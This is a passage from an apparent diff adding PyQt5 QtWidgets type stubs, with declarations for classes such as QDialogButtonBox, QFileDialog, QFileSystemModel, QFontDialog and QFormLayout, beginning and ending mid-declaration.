QDialogButtonBox.ButtonRole + ResetRole = ... # type: QDialogButtonBox.ButtonRole + ApplyRole = ... # type: QDialogButtonBox.ButtonRole + + class ButtonLayout(int): + WinLayout = ... # type: QDialogButtonBox.ButtonLayout + MacLayout = ... # type: QDialogButtonBox.ButtonLayout + KdeLayout = ... # type: QDialogButtonBox.ButtonLayout + GnomeLayout = ... # type: QDialogButtonBox.ButtonLayout + AndroidLayout = ... # type: QDialogButtonBox.ButtonLayout + + class StandardButtons(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QDialogButtonBox.StandardButtons', 'QDialogButtonBox.StandardButton']) -> None: ... + @typing.overload + def __init__(self, a0: 'QDialogButtonBox.StandardButtons') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QDialogButtonBox.StandardButtons': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, orientation: QtCore.Qt.Orientation, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, buttons: typing.Union['QDialogButtonBox.StandardButtons', 'QDialogButtonBox.StandardButton'], parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, buttons: typing.Union['QDialogButtonBox.StandardButtons', 'QDialogButtonBox.StandardButton'], orientation: QtCore.Qt.Orientation, parent: typing.Optional[QWidget] = ...) -> None: ... + + def event(self, event: QtCore.QEvent) -> bool: ... + def changeEvent(self, event: QtCore.QEvent) -> None: ... + def rejected(self) -> None: ... + def helpRequested(self) -> None: ... + def clicked(self, button: QAbstractButton) -> None: ... + def accepted(self) -> None: ... + def centerButtons(self) -> bool: ... + def setCenterButtons(self, center: bool) -> None: ... + def button(self, which: 'QDialogButtonBox.StandardButton') -> QPushButton: ... + def standardButton(self, button: QAbstractButton) -> 'QDialogButtonBox.StandardButton': ... + def standardButtons(self) -> 'QDialogButtonBox.StandardButtons': ... + def setStandardButtons(self, buttons: typing.Union['QDialogButtonBox.StandardButtons', 'QDialogButtonBox.StandardButton']) -> None: ... + def buttonRole(self, button: QAbstractButton) -> 'QDialogButtonBox.ButtonRole': ... + def buttons(self) -> typing.List[QAbstractButton]: ... + def clear(self) -> None: ... + def removeButton(self, button: QAbstractButton) -> None: ... + @typing.overload + def addButton(self, button: QAbstractButton, role: 'QDialogButtonBox.ButtonRole') -> None: ... + @typing.overload + def addButton(self, text: str, role: 'QDialogButtonBox.ButtonRole') -> QPushButton: ... + @typing.overload + def addButton(self, button: 'QDialogButtonBox.StandardButton') -> QPushButton: ... + def orientation(self) -> QtCore.Qt.Orientation: ... + def setOrientation(self, orientation: QtCore.Qt.Orientation) -> None: ... + + +class QDirModel(QtCore.QAbstractItemModel): + + class Roles(int): + FileIconRole = ... # type: QDirModel.Roles + FilePathRole = ... # type: QDirModel.Roles + FileNameRole = ... # type: QDirModel.Roles + + @typing.overload + def __init__(self, nameFilters: typing.Iterable[str], filters: typing.Union[QtCore.QDir.Filters, QtCore.QDir.Filter], sort: typing.Union[QtCore.QDir.SortFlags, QtCore.QDir.SortFlag], parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def fileInfo(self, index: QtCore.QModelIndex) -> QtCore.QFileInfo: ... + def fileIcon(self, index: QtCore.QModelIndex) -> QtGui.QIcon: ... + def fileName(self, index: QtCore.QModelIndex) -> str: ... + def filePath(self, index: QtCore.QModelIndex) -> str: ... + def remove(self, index: QtCore.QModelIndex) -> bool: ... + def rmdir(self, index: QtCore.QModelIndex) -> bool: ... + def mkdir(self, parent: QtCore.QModelIndex, name: str) -> QtCore.QModelIndex: ... + def isDir(self, index: QtCore.QModelIndex) -> bool: ... + def refresh(self, parent: QtCore.QModelIndex = ...) -> None: ... + def lazyChildCount(self) -> bool: ... + def setLazyChildCount(self, enable: bool) -> None: ... + def isReadOnly(self) -> bool: ... + def setReadOnly(self, enable: bool) -> None: ... + def resolveSymlinks(self) -> bool: ... + def setResolveSymlinks(self, enable: bool) -> None: ... + def sorting(self) -> QtCore.QDir.SortFlags: ... + def setSorting(self, sort: typing.Union[QtCore.QDir.SortFlags, QtCore.QDir.SortFlag]) -> None: ... + def filter(self) -> QtCore.QDir.Filters: ... + def setFilter(self, filters: typing.Union[QtCore.QDir.Filters, QtCore.QDir.Filter]) -> None: ... + def nameFilters(self) -> typing.List[str]: ... + def setNameFilters(self, filters: typing.Iterable[str]) -> None: ... + def iconProvider(self) -> 'QFileIconProvider': ... + def setIconProvider(self, provider: 'QFileIconProvider') -> None: ... + def supportedDropActions(self) -> QtCore.Qt.DropActions: ... + def dropMimeData(self, data: QtCore.QMimeData, action: QtCore.Qt.DropAction, row: int, column: int, parent: QtCore.QModelIndex) -> bool: ... + def mimeData(self, indexes: typing.Iterable[QtCore.QModelIndex]) -> QtCore.QMimeData: ... + def mimeTypes(self) -> typing.List[str]: ... + def sort(self, column: int, order: QtCore.Qt.SortOrder = ...) -> None: ... + def flags(self, index: QtCore.QModelIndex) -> QtCore.Qt.ItemFlags: ... + def hasChildren(self, parent: QtCore.QModelIndex = ...) -> bool: ... + def headerData(self, section: int, orientation: QtCore.Qt.Orientation, role: int = ...) -> typing.Any: ... + def setData(self, index: QtCore.QModelIndex, value: typing.Any, role: int = ...) -> bool: ... + def data(self, index: QtCore.QModelIndex, role: int = ...) -> typing.Any: ... + def columnCount(self, parent: QtCore.QModelIndex = ...) -> int: ... + def rowCount(self, parent: QtCore.QModelIndex = ...) -> int: ... + @typing.overload + def parent(self, child: QtCore.QModelIndex) -> QtCore.QModelIndex: ... + @typing.overload + def parent(self) -> QtCore.QObject: ... + @typing.overload + def index(self, row: int, column: int, parent: QtCore.QModelIndex = ...) -> QtCore.QModelIndex: ... + @typing.overload + def index(self, path: str, column: int = ...) -> QtCore.QModelIndex: ... + + +class QDockWidget(QWidget): + + class DockWidgetFeature(int): + DockWidgetClosable = ... # type: QDockWidget.DockWidgetFeature + DockWidgetMovable = ... # type: QDockWidget.DockWidgetFeature + DockWidgetFloatable = ... # type: QDockWidget.DockWidgetFeature + DockWidgetVerticalTitleBar = ... # type: QDockWidget.DockWidgetFeature + AllDockWidgetFeatures = ... # type: QDockWidget.DockWidgetFeature + NoDockWidgetFeatures = ... # type: QDockWidget.DockWidgetFeature + + class DockWidgetFeatures(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QDockWidget.DockWidgetFeatures', 'QDockWidget.DockWidgetFeature']) -> None: ... + @typing.overload + def __init__(self, a0: 'QDockWidget.DockWidgetFeatures') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QDockWidget.DockWidgetFeatures': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, title: str, parent: typing.Optional[QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def event(self, event: QtCore.QEvent) -> bool: ... + def paintEvent(self, event: QtGui.QPaintEvent) -> None: ... + def closeEvent(self, event: QtGui.QCloseEvent) -> None: ... + def changeEvent(self, event: QtCore.QEvent) -> None: ... + def initStyleOption(self, option: 'QStyleOptionDockWidget') -> None: ... + def visibilityChanged(self, visible: bool) -> None: ... + def dockLocationChanged(self, area: QtCore.Qt.DockWidgetArea) -> None: ... + def allowedAreasChanged(self, allowedAreas: typing.Union[QtCore.Qt.DockWidgetAreas, QtCore.Qt.DockWidgetArea]) -> None: ... + def topLevelChanged(self, topLevel: bool) -> None: ... + def featuresChanged(self, features: typing.Union['QDockWidget.DockWidgetFeatures', 'QDockWidget.DockWidgetFeature']) -> None: ... + def titleBarWidget(self) -> QWidget: ... + def setTitleBarWidget(self, widget: QWidget) -> None: ... + def toggleViewAction(self) -> QAction: ... + def isAreaAllowed(self, area: QtCore.Qt.DockWidgetArea) -> bool: ... + def allowedAreas(self) -> QtCore.Qt.DockWidgetAreas: ... + def setAllowedAreas(self, areas: typing.Union[QtCore.Qt.DockWidgetAreas, QtCore.Qt.DockWidgetArea]) -> None: ... + def isFloating(self) -> bool: ... + def setFloating(self, floating: bool) -> None: ... + def features(self) -> 'QDockWidget.DockWidgetFeatures': ... + def setFeatures(self, features: typing.Union['QDockWidget.DockWidgetFeatures', 'QDockWidget.DockWidgetFeature']) -> None: ... + def setWidget(self, widget: QWidget) -> None: ... + def widget(self) -> QWidget: ... + + +class QErrorMessage(QDialog): + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def done(self, a0: int) -> None: ... + def changeEvent(self, e: QtCore.QEvent) -> None: ... + @typing.overload + def showMessage(self, message: str) -> None: ... + @typing.overload + def showMessage(self, message: str, type: str) -> None: ... + @staticmethod + def qtHandler() -> 'QErrorMessage': ... + + +class QFileDialog(QDialog): + + class Option(int): + ShowDirsOnly = ... # type: QFileDialog.Option + DontResolveSymlinks = ... # type: QFileDialog.Option + DontConfirmOverwrite = ... # type: QFileDialog.Option + DontUseSheet = ... # type: QFileDialog.Option + DontUseNativeDialog = ... # type: QFileDialog.Option + ReadOnly = ... # type: QFileDialog.Option + HideNameFilterDetails = ... # type: QFileDialog.Option + DontUseCustomDirectoryIcons = ... # type: QFileDialog.Option + + class DialogLabel(int): + LookIn = ... # type: QFileDialog.DialogLabel + FileName = ... # type: QFileDialog.DialogLabel + FileType = ... # type: QFileDialog.DialogLabel + Accept = ... # type: QFileDialog.DialogLabel + Reject = ... # type: QFileDialog.DialogLabel + + class AcceptMode(int): + AcceptOpen = ... # type: QFileDialog.AcceptMode + AcceptSave = ... # type: QFileDialog.AcceptMode + + class FileMode(int): + AnyFile = ... # type: QFileDialog.FileMode + ExistingFile = ... # type: QFileDialog.FileMode + Directory = ... # type: QFileDialog.FileMode + ExistingFiles = ... # type: QFileDialog.FileMode + DirectoryOnly = ... # type: QFileDialog.FileMode + + class ViewMode(int): + Detail = ... # type: QFileDialog.ViewMode + List = ... # type: QFileDialog.ViewMode + + class Options(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QFileDialog.Options', 'QFileDialog.Option']) -> None: ... + @typing.overload + def __init__(self, a0: 'QFileDialog.Options') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QFileDialog.Options': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, parent: QWidget, f: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType]) -> None: ... + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ..., caption: str = ..., directory: str = ..., filter: str = ...) -> None: ... + + @staticmethod + def saveFileContent(fileContent: typing.Union[QtCore.QByteArray, bytes, bytearray], fileNameHint: str = ...) -> None: ... + def selectedMimeTypeFilter(self) -> str: ... + def supportedSchemes(self) -> typing.List[str]: ... + def setSupportedSchemes(self, schemes: typing.Iterable[str]) -> None: ... + @staticmethod + def getSaveFileUrl(parent: typing.Optional[QWidget] = ..., caption: str = ..., directory: QtCore.QUrl = ..., filter: str = ..., initialFilter: str = ..., options: typing.Union['QFileDialog.Options', 'QFileDialog.Option'] = ..., supportedSchemes: typing.Iterable[str] = ...) -> typing.Tuple[QtCore.QUrl, str]: ... + @staticmethod + def getOpenFileUrls(parent: typing.Optional[QWidget] = ..., caption: str = ..., directory: QtCore.QUrl = ..., filter: str = ..., initialFilter: str = ..., options: typing.Union['QFileDialog.Options', 'QFileDialog.Option'] = ..., supportedSchemes: typing.Iterable[str] = ...) -> typing.Tuple[typing.List[QtCore.QUrl], str]: ... + @staticmethod + def getOpenFileUrl(parent: typing.Optional[QWidget] = ..., caption: str = ..., directory: QtCore.QUrl = ..., filter: str = ..., initialFilter: str = ..., options: typing.Union['QFileDialog.Options', 'QFileDialog.Option'] = ..., supportedSchemes: typing.Iterable[str] = ...) -> typing.Tuple[QtCore.QUrl, str]: ... + def directoryUrlEntered(self, directory: QtCore.QUrl) -> None: ... + def currentUrlChanged(self, url: QtCore.QUrl) -> None: ... + def urlsSelected(self, urls: typing.Iterable[QtCore.QUrl]) -> None: ... + def urlSelected(self, url: QtCore.QUrl) -> None: ... + def selectMimeTypeFilter(self, filter: str) -> None: ... + def mimeTypeFilters(self) -> typing.List[str]: ... + def setMimeTypeFilters(self, filters: typing.Iterable[str]) -> None: ... + def selectedUrls(self) -> typing.List[QtCore.QUrl]: ... + def selectUrl(self, url: QtCore.QUrl) -> None: ... + def directoryUrl(self) -> QtCore.QUrl: ... + def setDirectoryUrl(self, directory: QtCore.QUrl) -> None: ... + def setVisible(self, visible: bool) -> None: ... + @typing.overload + def open(self) -> None: ... + @typing.overload + def open(self, slot: PYQT_SLOT) -> None: ... + def options(self) -> 'QFileDialog.Options': ... + def setOptions(self, options: typing.Union['QFileDialog.Options', 'QFileDialog.Option']) -> None: ... + def testOption(self, option: 'QFileDialog.Option') -> bool: ... + def setOption(self, option: 'QFileDialog.Option', on: bool = ...) -> None: ... + def setFilter(self, filters: typing.Union[QtCore.QDir.Filters, QtCore.QDir.Filter]) -> None: ... + def filter(self) -> QtCore.QDir.Filters: ... + def selectedNameFilter(self) -> str: ... + def selectNameFilter(self, filter: str) -> None: ... + def nameFilters(self) -> typing.List[str]: ... + def setNameFilters(self, filters: typing.Iterable[str]) -> None: ... + def setNameFilter(self, filter: str) -> None: ... + def proxyModel(self) -> QtCore.QAbstractProxyModel: ... + def setProxyModel(self, model: QtCore.QAbstractProxyModel) -> None: ... + def restoreState(self, state: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> bool: ... + def saveState(self) -> QtCore.QByteArray: ... + def sidebarUrls(self) -> typing.List[QtCore.QUrl]: ... + def setSidebarUrls(self, urls: typing.Iterable[QtCore.QUrl]) -> None: ... + def changeEvent(self, e: QtCore.QEvent) -> None: ... + def accept(self) -> None: ... + def done(self, result: int) -> None: ... + @staticmethod + def getSaveFileName(parent: typing.Optional[QWidget] = ..., caption: str = ..., directory: str = ..., filter: str = ..., initialFilter: str = ..., options: typing.Union['QFileDialog.Options', 'QFileDialog.Option'] = ...) -> typing.Tuple[str, str]: ... + @staticmethod + def getOpenFileNames(parent: typing.Optional[QWidget] = ..., caption: str = ..., directory: str = ..., filter: str = ..., initialFilter: str = ..., options: typing.Union['QFileDialog.Options', 'QFileDialog.Option'] = ...) -> typing.Tuple[typing.List[str], str]: ... + @staticmethod + def getOpenFileName(parent: typing.Optional[QWidget] = ..., caption: str = ..., directory: str = ..., filter: str = ..., initialFilter: str = ..., options: typing.Union['QFileDialog.Options', 'QFileDialog.Option'] = ...) -> typing.Tuple[str, str]: ... + @staticmethod + def getExistingDirectoryUrl(parent: typing.Optional[QWidget] = ..., caption: str = ..., directory: QtCore.QUrl = ..., options: typing.Union['QFileDialog.Options', 'QFileDialog.Option'] = ..., supportedSchemes: typing.Iterable[str] = ...) -> QtCore.QUrl: ... + @staticmethod + def getExistingDirectory(parent: typing.Optional[QWidget] = ..., caption: str = ..., directory: str = ..., options: typing.Union['QFileDialog.Options', 'QFileDialog.Option'] = ...) -> str: ... + def fileSelected(self, file: str) -> None: ... + def filterSelected(self, filter: str) -> None: ... + def filesSelected(self, files: typing.Iterable[str]) -> None: ... + def directoryEntered(self, directory: str) -> None: ... + def currentChanged(self, path: str) -> None: ... + def labelText(self, label: 'QFileDialog.DialogLabel') -> str: ... + def setLabelText(self, label: 'QFileDialog.DialogLabel', text: str) -> None: ... + def iconProvider(self) -> 'QFileIconProvider': ... + def setIconProvider(self, provider: 'QFileIconProvider') -> None: ... + def itemDelegate(self) -> QAbstractItemDelegate: ... + def setItemDelegate(self, delegate: QAbstractItemDelegate) -> None: ... + def history(self) -> typing.List[str]: ... + def setHistory(self, paths: typing.Iterable[str]) -> None: ... + def defaultSuffix(self) -> str: ... + def setDefaultSuffix(self, suffix: str) -> None: ... + def acceptMode(self) -> 'QFileDialog.AcceptMode': ... + def setAcceptMode(self, mode: 'QFileDialog.AcceptMode') -> None: ... + def fileMode(self) -> 'QFileDialog.FileMode': ... + def setFileMode(self, mode: 'QFileDialog.FileMode') -> None: ... + def viewMode(self) -> 'QFileDialog.ViewMode': ... + def setViewMode(self, mode: 'QFileDialog.ViewMode') -> None: ... + def selectedFiles(self) -> typing.List[str]: ... + def selectFile(self, filename: str) -> None: ... + def directory(self) -> QtCore.QDir: ... + @typing.overload + def setDirectory(self, directory: str) -> None: ... + @typing.overload + def setDirectory(self, adirectory: QtCore.QDir) -> None: ... + + +class QFileIconProvider(sip.simplewrapper): + + class Option(int): + DontUseCustomDirectoryIcons = ... # type: QFileIconProvider.Option + + class IconType(int): + Computer = ... # type: QFileIconProvider.IconType + Desktop = ... # type: QFileIconProvider.IconType + Trashcan = ... # type: QFileIconProvider.IconType + Network = ... # type: QFileIconProvider.IconType + Drive = ... # type: QFileIconProvider.IconType + Folder = ... # type: QFileIconProvider.IconType + File = ... # type: QFileIconProvider.IconType + + class Options(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QFileIconProvider.Options', 'QFileIconProvider.Option']) -> None: ... + @typing.overload + def __init__(self, a0: 'QFileIconProvider.Options') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QFileIconProvider.Options': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self) -> None: ... + + def options(self) -> 'QFileIconProvider.Options': ... + def setOptions(self, options: typing.Union['QFileIconProvider.Options', 'QFileIconProvider.Option']) -> None: ... + def type(self, info: QtCore.QFileInfo) -> str: ... + @typing.overload + def icon(self, type: 'QFileIconProvider.IconType') -> QtGui.QIcon: ... + @typing.overload + def icon(self, info: QtCore.QFileInfo) -> QtGui.QIcon: ... + + +class QFileSystemModel(QtCore.QAbstractItemModel): + + class Option(int): + DontWatchForChanges = ... # type: QFileSystemModel.Option + DontResolveSymlinks = ... # type: QFileSystemModel.Option + DontUseCustomDirectoryIcons = ... # type: QFileSystemModel.Option + + class Roles(int): + FileIconRole = ... # type: QFileSystemModel.Roles + FilePathRole = ... # type: QFileSystemModel.Roles + FileNameRole = ... # type: QFileSystemModel.Roles + FilePermissions = ... # type: QFileSystemModel.Roles + + class Options(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QFileSystemModel.Options', 'QFileSystemModel.Option']) -> None: ... + @typing.overload + def __init__(self, a0: 'QFileSystemModel.Options') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QFileSystemModel.Options': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def options(self) -> 'QFileSystemModel.Options': ... + def setOptions(self, options: typing.Union['QFileSystemModel.Options', 'QFileSystemModel.Option']) -> None: ... + def testOption(self, option: 'QFileSystemModel.Option') -> bool: ... + def setOption(self, option: 'QFileSystemModel.Option', on: bool = ...) -> None: ... + def sibling(self, row: int, column: int, idx: QtCore.QModelIndex) -> QtCore.QModelIndex: ... + def timerEvent(self, event: QtCore.QTimerEvent) -> None: ... + def event(self, event: QtCore.QEvent) -> bool: ... + def directoryLoaded(self, path: str) -> None: ... + def rootPathChanged(self, newPath: str) -> None: ... + def fileRenamed(self, path: str, oldName: str, newName: str) -> None: ... + def remove(self, index: QtCore.QModelIndex) -> bool: ... + def fileInfo(self, aindex: QtCore.QModelIndex) -> QtCore.QFileInfo: ... + def fileIcon(self, aindex: QtCore.QModelIndex) -> QtGui.QIcon: ... + def fileName(self, aindex: QtCore.QModelIndex) -> str: ... + def rmdir(self, index: QtCore.QModelIndex) -> bool: ... + def permissions(self, index: QtCore.QModelIndex) -> QtCore.QFileDevice.Permissions: ... + def mkdir(self, parent: QtCore.QModelIndex, name: str) -> QtCore.QModelIndex: ... + def lastModified(self, index: QtCore.QModelIndex) -> QtCore.QDateTime: ... + def type(self, index: QtCore.QModelIndex) -> str: ... + def size(self, index: QtCore.QModelIndex) -> int: ... + def isDir(self, index: QtCore.QModelIndex) -> bool: ... + def filePath(self, index: QtCore.QModelIndex) -> str: ... + def nameFilters(self) -> typing.List[str]: ... + def setNameFilters(self, filters: typing.Iterable[str]) -> None: ... + def nameFilterDisables(self) -> bool: ... + def setNameFilterDisables(self, enable: bool) -> None: ... + def isReadOnly(self) -> bool: ... + def setReadOnly(self, enable: bool) -> None: ... + def resolveSymlinks(self) -> bool: ... + def setResolveSymlinks(self, enable: bool) -> None: ... + def filter(self) -> QtCore.QDir.Filters: ... + def setFilter(self, filters: typing.Union[QtCore.QDir.Filters, QtCore.QDir.Filter]) -> None: ... + def iconProvider(self) -> QFileIconProvider: ... + def setIconProvider(self, provider: QFileIconProvider) -> None: ... + def rootDirectory(self) -> QtCore.QDir: ... + def rootPath(self) -> str: ... + def setRootPath(self, path: str) -> QtCore.QModelIndex: ... + def supportedDropActions(self) -> QtCore.Qt.DropActions: ... + def dropMimeData(self, data: QtCore.QMimeData, action: QtCore.Qt.DropAction, row: int, column: int, parent: QtCore.QModelIndex) -> bool: ... + def mimeData(self, indexes: typing.Iterable[QtCore.QModelIndex]) -> QtCore.QMimeData: ... + def mimeTypes(self) -> typing.List[str]: ... + def sort(self, column: int, order: QtCore.Qt.SortOrder = ...) -> None: ... + def flags(self, index: QtCore.QModelIndex) -> QtCore.Qt.ItemFlags: ... + def headerData(self, section: int, orientation: QtCore.Qt.Orientation, role: int = ...) -> typing.Any: ... + def setData(self, index: QtCore.QModelIndex, value: typing.Any, role: int = ...) -> bool: ... + def data(self, index: QtCore.QModelIndex, role: int = ...) -> typing.Any: ... + def myComputer(self, role: int = ...) -> typing.Any: ... + def columnCount(self, parent: QtCore.QModelIndex = ...) -> int: ... + def rowCount(self, parent: QtCore.QModelIndex = ...) -> int: ... + def fetchMore(self, parent: QtCore.QModelIndex) -> None: ... + def canFetchMore(self, parent: QtCore.QModelIndex) -> bool: ... + def hasChildren(self, parent: QtCore.QModelIndex = ...) -> bool: ... + def parent(self, child: QtCore.QModelIndex) -> QtCore.QModelIndex: ... + @typing.overload + def index(self, row: int, column: int, parent: QtCore.QModelIndex = ...) -> QtCore.QModelIndex: ... + @typing.overload + def index(self, path: str, column: int = ...) -> QtCore.QModelIndex: ... + + +class QFocusFrame(QWidget): + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def event(self, e: QtCore.QEvent) -> bool: ... + def eventFilter(self, a0: QtCore.QObject, a1: QtCore.QEvent) -> bool: ... + def initStyleOption(self, option: 'QStyleOption') -> None: ... + def widget(self) -> QWidget: ... + def setWidget(self, widget: QWidget) -> None: ... + + +class QFontComboBox(QComboBox): + + class FontFilter(int): + AllFonts = ... # type: QFontComboBox.FontFilter + ScalableFonts = ... # type: QFontComboBox.FontFilter + NonScalableFonts = ... # type: QFontComboBox.FontFilter + MonospacedFonts = ... # type: QFontComboBox.FontFilter + ProportionalFonts = ... # type: QFontComboBox.FontFilter + + class FontFilters(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QFontComboBox.FontFilters', 'QFontComboBox.FontFilter']) -> None: ... + @typing.overload + def __init__(self, a0: 'QFontComboBox.FontFilters') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QFontComboBox.FontFilters': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def event(self, e: QtCore.QEvent) -> bool: ... + def currentFontChanged(self, f: QtGui.QFont) -> None: ... + def setCurrentFont(self, f: QtGui.QFont) -> None: ... + def sizeHint(self) -> QtCore.QSize: ... + def currentFont(self) -> QtGui.QFont: ... + def setFontFilters(self, filters: typing.Union['QFontComboBox.FontFilters', 'QFontComboBox.FontFilter']) -> None: ... + def writingSystem(self) -> QtGui.QFontDatabase.WritingSystem: ... + def setWritingSystem(self, a0: QtGui.QFontDatabase.WritingSystem) -> None: ... + def fontFilters(self) -> 'QFontComboBox.FontFilters': ... + + +class QFontDialog(QDialog): + + class FontDialogOption(int): + NoButtons = ... # type: QFontDialog.FontDialogOption + DontUseNativeDialog = ... # type: QFontDialog.FontDialogOption + ScalableFonts = ... # type: QFontDialog.FontDialogOption + NonScalableFonts = ... # type: QFontDialog.FontDialogOption + MonospacedFonts = ... # type: QFontDialog.FontDialogOption + ProportionalFonts = ... # type: QFontDialog.FontDialogOption + + class FontDialogOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QFontDialog.FontDialogOptions', 'QFontDialog.FontDialogOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QFontDialog.FontDialogOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QFontDialog.FontDialogOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, initial: QtGui.QFont, parent: typing.Optional[QWidget] = ...) -> None: ... + + def fontSelected(self, font: QtGui.QFont) -> None: ... + def currentFontChanged(self, font: QtGui.QFont) -> None: ... + def setVisible(self, visible: bool) -> None: ... + @typing.overload + def open(self) -> None: ... + @typing.overload + def open(self, slot: PYQT_SLOT) -> None: ... + def options(self) -> 'QFontDialog.FontDialogOptions': ... + def setOptions(self, options: typing.Union['QFontDialog.FontDialogOptions', 'QFontDialog.FontDialogOption']) -> None: ... + def testOption(self, option: 'QFontDialog.FontDialogOption') -> bool: ... + def setOption(self, option: 'QFontDialog.FontDialogOption', on: bool = ...) -> None: ... + def selectedFont(self) -> QtGui.QFont: ... + def currentFont(self) -> QtGui.QFont: ... + def setCurrentFont(self, font: QtGui.QFont) -> None: ... + def eventFilter(self, object: QtCore.QObject, event: QtCore.QEvent) -> bool: ... + def done(self, result: int) -> None: ... + def changeEvent(self, e: QtCore.QEvent) -> None: ... + @typing.overload + @staticmethod + def getFont(initial: QtGui.QFont, parent: typing.Optional[QWidget] = ..., caption: str = ..., options: typing.Union['QFontDialog.FontDialogOptions', 'QFontDialog.FontDialogOption'] = ...) -> typing.Tuple[QtGui.QFont, bool]: ... + @typing.overload + @staticmethod + def getFont(parent: typing.Optional[QWidget] = ...) -> typing.Tuple[QtGui.QFont, bool]: ... + + +class QFormLayout(QLayout): + + class ItemRole(int): + LabelRole = ... # type: QFormLayout.ItemRole + FieldRole = ... # type: QFormLayout.ItemRole + SpanningRole = ... # type: QFormLayout.ItemRole + + class RowWrapPolicy(int): + DontWrapRows = ... # type: QFormLayout.RowWrapPolicy + WrapLongRows = ... # type: QFormLayout.RowWrapPolicy + WrapAllRows = ... # type: QFormLayout.RowWrapPolicy + + class FieldGrowthPolicy(int): + FieldsStayAtSizeHint = ... # type: QFormLayout.FieldGrowthPolicy + ExpandingFieldsGrow = ... # type: QFormLayout.FieldGrowthPolicy + AllNonFixedFieldsGrow = ... # type: QFormLayout.FieldGrowthPolicy + + class TakeRowResult(sip.simplewrapper): + + fieldItem = ... # type: QLayoutItem + labelItem = ... # type: QLayoutItem + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QFormLayout.TakeRowResult') -> None: ... + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + @typing.overload + def takeRow(self, row: int) -> 'QFormLayout.TakeRowResult': ... + @typing.overload + def takeRow(self, widget: QWidget) -> 'QFormLayout.TakeRowResult': ... + @typing.overload + def takeRow(self, layout: QLayout) -> 'QFormLayout.TakeRowResult': ... + @typing.overload + def removeRow(self, row: int) -> None: ... + @typing.overload + def removeRow(self, widget: QWidget) -> None: ... + @typing.overload + def removeRow(self, layout: QLayout) -> None: ... + def rowCount(self) -> int: ... + def count(self) -> int: ... + def expandingDirections(self) -> QtCore.Qt.Orientations: ... + def heightForWidth(self, width: int) -> int: ... + def hasHeightForWidth(self) -> bool: ... + def invalidate(self) -> None: ... + def sizeHint(self) -> QtCore.QSize: ... + def minimumSize(self) -> QtCore.QSize: ... + def setGeometry(self, rect: QtCore.QRect) -> None: ... + def takeAt(self, index: int) -> QLayoutItem: ... + def addItem(self, item: QLayoutItem) -> None: ... + @typing.overload + def labelForField(self, field: QWidget) -> QWidget: ... + @typing.overload + def labelForField(self, field: QLayout) -> QWidget: ... + def getLayoutPosition(self, layout: QLayout) -> typing.Tuple[int, 'QFormLayout.ItemRole']: ... + def getWidgetPosition(self, widget: QWidget) -> typing.Tuple[int, 'QFormLayout.ItemRole']: ... + def getItemPosition(self, index: int) -> typing.Tuple[int, 'QFormLayout.ItemRole']: ... + @typing.overload + def itemAt(self, row: int, role: 'QFormLayout.ItemRole') -> QLayoutItem: ... + @typing.overload + def itemAt(self, index: int) -> QLayoutItem: ... + def setLayout(self, row: int, role: 'QFormLayout.ItemRole', layout: QLayout) -> None: ... + def setWidget(self, row: int, role: 'QFormLayout.ItemRole', widget: QWidget) -> None: ... + def setItem(self, row: int, role: 'QFormLayout.ItemRole', item: QLayoutItem) -> None: ... + @typing.overload + def insertRow(self, row: int, label: QWidget, field: QWidget) -> None: ... + @typing.overload + def 